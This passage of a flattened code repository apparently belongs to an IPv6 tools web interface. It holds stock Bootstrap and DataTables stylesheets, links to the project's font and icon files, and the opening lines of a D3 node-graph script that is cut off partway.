.navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} -------------------------------------------------------------------------------- /server/static/css/dataTables.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{clear:both;margin-top:6px !important;margin-bottom:6px !important;max-width:none !important}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable td.dataTables_empty,table.dataTable th.dataTables_empty{text-align:center}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}div.dataTables_wrapper div.dataTables_length label{font-weight:normal;text-align:left;white-space:nowrap}div.dataTables_wrapper div.dataTables_length select{width:75px;display:inline-block}div.dataTables_wrapper div.dataTables_filter{text-align:right}div.dataTables_wrapper div.dataTables_filter label{font-weight:normal;white-space:nowrap;text-align:left}div.dataTables_wrapper div.dataTables_filter input{margin-left:0.5em;display:inline-block;width:auto}div.dataTables_wrapper div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_wrapper div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_wrapper div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting{padding-right:30px}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{position:absolute;bottom:8px;right:8px;display:block;font-family:'Glyphicons Halflings';opacity:0.5}table.dataTable thead .sorting:after{opacity:0.2;content:"\e150"}table.dataTable thead .sorting_asc:after{content:"\e155"}table.dataTable thead .sorting_desc:after{content:"\e156"}table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{color:#eee}div.dataTables_scrollHead table.dataTable{margin-bottom:0 !important}div.dataTables_scrollBody table{border-top:none;margin-top:0 !important;margin-bottom:0 !important}div.dataTables_scrollBody table thead .sorting:after,div.dataTables_scrollBody table thead .sorting_asc:after,div.dataTables_scrollBody table thead .sorting_desc:after{display:none}div.dataTables_scrollBody table tbody tr:first-child th,div.dataTables_scrollBody table tbody tr:first-child td{border-top:none}div.dataTables_scrollFoot table{margin-top:0 !important;border-top:none}@media screen and (max-width: 767px){div.dataTables_wrapper div.dataTables_length,div.dataTables_wrapper div.dataTables_filter,div.dataTables_wrapper div.dataTables_info,div.dataTables_wrapper div.dataTables_paginate{text-align:center}}table.dataTable.table-condensed>thead>tr>th{padding-right:20px}table.dataTable.table-condensed .sorting:after,table.dataTable.table-condensed .sorting_asc:after,table.dataTable.table-condensed .sorting_desc:after{top:6px;right:6px}table.table-bordered.dataTable{border-collapse:separate !important}table.table-bordered.dataTable th,table.table-bordered.dataTable td{border-left-width:0}table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable td:last-child,table.table-bordered.dataTable td:last-child{border-right-width:0}table.table-bordered.dataTable tbody th,table.table-bordered.dataTable tbody td{border-bottom-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0} 2 | -------------------------------------------------------------------------------- /server/static/css/jquery.dataTables.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{width:100%;margin:0 auto;clear:both;border-collapse:separate;border-spacing:0}table.dataTable thead th,table.dataTable tfoot th{font-weight:bold}table.dataTable thead th,table.dataTable thead td{padding:10px 18px;border-bottom:1px solid #111}table.dataTable thead th:active,table.dataTable thead td:active{outline:none}table.dataTable tfoot th,table.dataTable tfoot td{padding:10px 18px 6px 18px;border-top:1px solid #111}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc{cursor:pointer;*cursor:hand}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{background-repeat:no-repeat;background-position:center right}table.dataTable thead .sorting{background-image:url("../images/sort_both.png")}table.dataTable thead .sorting_asc{background-image:url("../images/sort_asc.png")}table.dataTable thead .sorting_desc{background-image:url("../images/sort_desc.png")}table.dataTable thead .sorting_asc_disabled{background-image:url("../images/sort_asc_disabled.png")}table.dataTable thead .sorting_desc_disabled{background-image:url("../images/sort_desc_disabled.png")}table.dataTable tbody tr{background-color:#ffffff}table.dataTable tbody tr.selected{background-color:#B0BED9}table.dataTable tbody th,table.dataTable tbody td{padding:8px 10px}table.dataTable.row-border tbody th,table.dataTable.row-border tbody td,table.dataTable.display tbody th,table.dataTable.display tbody td{border-top:1px solid #ddd}table.dataTable.row-border tbody tr:first-child th,table.dataTable.row-border tbody tr:first-child td,table.dataTable.display tbody tr:first-child th,table.dataTable.display tbody tr:first-child td{border-top:none}table.dataTable.cell-border tbody th,table.dataTable.cell-border tbody td{border-top:1px solid #ddd;border-right:1px solid #ddd}table.dataTable.cell-border tbody tr th:first-child,table.dataTable.cell-border tbody tr td:first-child{border-left:1px solid #ddd}table.dataTable.cell-border tbody tr:first-child th,table.dataTable.cell-border tbody tr:first-child td{border-top:none}table.dataTable.stripe tbody tr.odd,table.dataTable.display tbody tr.odd{background-color:#f9f9f9}table.dataTable.stripe tbody tr.odd.selected,table.dataTable.display tbody tr.odd.selected{background-color:#acbad4}table.dataTable.hover tbody tr:hover,table.dataTable.display tbody tr:hover{background-color:#f6f6f6}table.dataTable.hover tbody tr:hover.selected,table.dataTable.display tbody tr:hover.selected{background-color:#aab7d1}table.dataTable.order-column tbody tr>.sorting_1,table.dataTable.order-column tbody tr>.sorting_2,table.dataTable.order-column tbody tr>.sorting_3,table.dataTable.display tbody tr>.sorting_1,table.dataTable.display tbody tr>.sorting_2,table.dataTable.display tbody tr>.sorting_3{background-color:#fafafa}table.dataTable.order-column tbody tr.selected>.sorting_1,table.dataTable.order-column tbody tr.selected>.sorting_2,table.dataTable.order-column tbody tr.selected>.sorting_3,table.dataTable.display tbody tr.selected>.sorting_1,table.dataTable.display tbody tr.selected>.sorting_2,table.dataTable.display tbody tr.selected>.sorting_3{background-color:#acbad5}table.dataTable.display tbody tr.odd>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd>.sorting_1{background-color:#f1f1f1}table.dataTable.display tbody tr.odd>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd>.sorting_2{background-color:#f3f3f3}table.dataTable.display tbody tr.odd>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd>.sorting_3{background-color:whitesmoke}table.dataTable.display tbody tr.odd.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_1{background-color:#a6b4cd}table.dataTable.display tbody tr.odd.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_2{background-color:#a8b5cf}table.dataTable.display tbody tr.odd.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_3{background-color:#a9b7d1}table.dataTable.display tbody tr.even>.sorting_1,table.dataTable.order-column.stripe tbody tr.even>.sorting_1{background-color:#fafafa}table.dataTable.display tbody tr.even>.sorting_2,table.dataTable.order-column.stripe tbody tr.even>.sorting_2{background-color:#fcfcfc}table.dataTable.display tbody tr.even>.sorting_3,table.dataTable.order-column.stripe tbody tr.even>.sorting_3{background-color:#fefefe}table.dataTable.display tbody tr.even.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_1{background-color:#acbad5}table.dataTable.display tbody tr.even.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_2{background-color:#aebcd6}table.dataTable.display tbody tr.even.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_3{background-color:#afbdd8}table.dataTable.display tbody tr:hover>.sorting_1,table.dataTable.order-column.hover tbody tr:hover>.sorting_1{background-color:#eaeaea}table.dataTable.display tbody tr:hover>.sorting_2,table.dataTable.order-column.hover tbody tr:hover>.sorting_2{background-color:#ececec}table.dataTable.display tbody tr:hover>.sorting_3,table.dataTable.order-column.hover tbody tr:hover>.sorting_3{background-color:#efefef}table.dataTable.display tbody tr:hover.selected>.sorting_1,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_1{background-color:#a2aec7}table.dataTable.display tbody tr:hover.selected>.sorting_2,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_2{background-color:#a3b0c9}table.dataTable.display tbody tr:hover.selected>.sorting_3,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_3{background-color:#a5b2cb}table.dataTable.no-footer{border-bottom:1px solid #111}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}table.dataTable.compact thead th,table.dataTable.compact thead td{padding:4px 17px 4px 4px}table.dataTable.compact tfoot th,table.dataTable.compact tfoot td{padding:4px}table.dataTable.compact tbody th,table.dataTable.compact tbody td{padding:4px}table.dataTable th.dt-left,table.dataTable td.dt-left{text-align:left}table.dataTable th.dt-center,table.dataTable td.dt-center,table.dataTable td.dataTables_empty{text-align:center}table.dataTable th.dt-right,table.dataTable td.dt-right{text-align:right}table.dataTable th.dt-justify,table.dataTable td.dt-justify{text-align:justify}table.dataTable th.dt-nowrap,table.dataTable td.dt-nowrap{white-space:nowrap}table.dataTable thead th.dt-head-left,table.dataTable thead td.dt-head-left,table.dataTable tfoot th.dt-head-left,table.dataTable tfoot td.dt-head-left{text-align:left}table.dataTable thead th.dt-head-center,table.dataTable thead td.dt-head-center,table.dataTable tfoot th.dt-head-center,table.dataTable tfoot td.dt-head-center{text-align:center}table.dataTable thead th.dt-head-right,table.dataTable thead td.dt-head-right,table.dataTable tfoot th.dt-head-right,table.dataTable tfoot td.dt-head-right{text-align:right}table.dataTable thead th.dt-head-justify,table.dataTable thead td.dt-head-justify,table.dataTable tfoot th.dt-head-justify,table.dataTable tfoot td.dt-head-justify{text-align:justify}table.dataTable thead th.dt-head-nowrap,table.dataTable thead td.dt-head-nowrap,table.dataTable tfoot th.dt-head-nowrap,table.dataTable tfoot td.dt-head-nowrap{white-space:nowrap}table.dataTable tbody th.dt-body-left,table.dataTable tbody td.dt-body-left{text-align:left}table.dataTable tbody th.dt-body-center,table.dataTable tbody td.dt-body-center{text-align:center}table.dataTable tbody th.dt-body-right,table.dataTable tbody td.dt-body-right{text-align:right}table.dataTable tbody th.dt-body-justify,table.dataTable tbody td.dt-body-justify{text-align:justify}table.dataTable tbody th.dt-body-nowrap,table.dataTable tbody td.dt-body-nowrap{white-space:nowrap}table.dataTable,table.dataTable th,table.dataTable td{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.dataTables_wrapper{position:relative;clear:both;*zoom:1;zoom:1}.dataTables_wrapper .dataTables_length{float:left}.dataTables_wrapper .dataTables_filter{float:right;text-align:right}.dataTables_wrapper .dataTables_filter input{margin-left:0.5em}.dataTables_wrapper .dataTables_info{clear:both;float:left;padding-top:0.755em}.dataTables_wrapper .dataTables_paginate{float:right;text-align:right;padding-top:0.25em}.dataTables_wrapper .dataTables_paginate .paginate_button{box-sizing:border-box;display:inline-block;min-width:1.5em;padding:0.5em 1em;margin-left:2px;text-align:center;text-decoration:none !important;cursor:pointer;*cursor:hand;color:#333 !important;border:1px solid transparent;border-radius:2px}.dataTables_wrapper .dataTables_paginate .paginate_button.current,.dataTables_wrapper .dataTables_paginate .paginate_button.current:hover{color:#333 !important;border:1px solid #979797;background-color:white;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fff), color-stop(100%, #dcdcdc));background:-webkit-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-moz-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-ms-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-o-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:linear-gradient(to bottom, #fff 0%, #dcdcdc 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button.disabled,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active{cursor:default;color:#666 !important;border:1px solid transparent;background:transparent;box-shadow:none}.dataTables_wrapper .dataTables_paginate .paginate_button:hover{color:white !important;border:1px solid #111;background-color:#585858;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #585858), color-stop(100%, #111));background:-webkit-linear-gradient(top, #585858 0%, #111 100%);background:-moz-linear-gradient(top, #585858 0%, #111 100%);background:-ms-linear-gradient(top, #585858 0%, #111 100%);background:-o-linear-gradient(top, #585858 0%, #111 100%);background:linear-gradient(to bottom, #585858 0%, #111 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button:active{outline:none;background-color:#2b2b2b;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #2b2b2b), color-stop(100%, #0c0c0c));background:-webkit-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-moz-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-ms-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-o-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:linear-gradient(to bottom, #2b2b2b 0%, #0c0c0c 100%);box-shadow:inset 0 0 3px #111}.dataTables_wrapper .dataTables_paginate .ellipsis{padding:0 1em}.dataTables_wrapper .dataTables_processing{position:absolute;top:50%;left:50%;width:100%;height:40px;margin-left:-50%;margin-top:-25px;padding-top:20px;text-align:center;font-size:1.2em;background-color:white;background:-webkit-gradient(linear, left top, right top, color-stop(0%, rgba(255,255,255,0)), color-stop(25%, rgba(255,255,255,0.9)), color-stop(75%, rgba(255,255,255,0.9)), color-stop(100%, rgba(255,255,255,0)));background:-webkit-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-ms-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-o-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:linear-gradient(to right, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%)}.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter,.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_processing,.dataTables_wrapper .dataTables_paginate{color:#333}.dataTables_wrapper .dataTables_scroll{clear:both}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody{*margin-top:-1px;-webkit-overflow-scrolling:touch}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody th>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody td>div.dataTables_sizing{height:0;overflow:hidden;margin:0 !important;padding:0 !important}.dataTables_wrapper.no-footer .dataTables_scrollBody{border-bottom:1px solid #111}.dataTables_wrapper.no-footer div.dataTables_scrollHead table,.dataTables_wrapper.no-footer div.dataTables_scrollBody table{border-bottom:none}.dataTables_wrapper:after{visibility:hidden;display:block;content:"";clear:both;height:0}@media screen and (max-width: 767px){.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_paginate{float:none;text-align:center}.dataTables_wrapper .dataTables_paginate{margin-top:0.5em}}@media screen and (max-width: 640px){.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter{float:none;text-align:center}.dataTables_wrapper .dataTables_filter{margin-top:0.5em}} 2 | -------------------------------------------------------------------------------- /server/static/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /server/static/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /server/static/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /server/static/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /server/static/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/images/sort_asc.png -------------------------------------------------------------------------------- /server/static/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /server/static/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/images/sort_both.png -------------------------------------------------------------------------------- /server/static/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/images/sort_desc.png -------------------------------------------------------------------------------- /server/static/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/server/static/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /server/static/js/app.js: -------------------------------------------------------------------------------- 1 | // initialize, modify, and update the graph 2 | var nodegraph = { 3 | div: '#nodegraph', 4 | width: 500, 5 | height: 500, 6 | radius: 12, //value * 12 7 | graph: { 8 | nodes: [], 9 | links: [] 10 | }, 11 | link: [], 12 | gnode: [], 13 | svg: null, 14 | force: null, 15 | pinned: [], 16 | 17 | init: function() { 18 | this.graph.nodes = []; 19 | this.graph.links = []; 20 | this.link = []; 21 | this.gnode = []; 22 | this.force = null; 23 | this.svg = null; 24 | this.pinned = []; 25 | 26 | // set width and height 27 | this.setDim(); 28 | this.force = d3.layout.force() 29 | .nodes(this.graph.nodes) 30 | .links(this.graph.links) 31 | .on('tick', this.tick); 32 | this.setForce(); 33 | 34 | this.graph.nodes.push({ 35 | "x": this.width / 2, 36 | "y": this.height / 2, 37 | 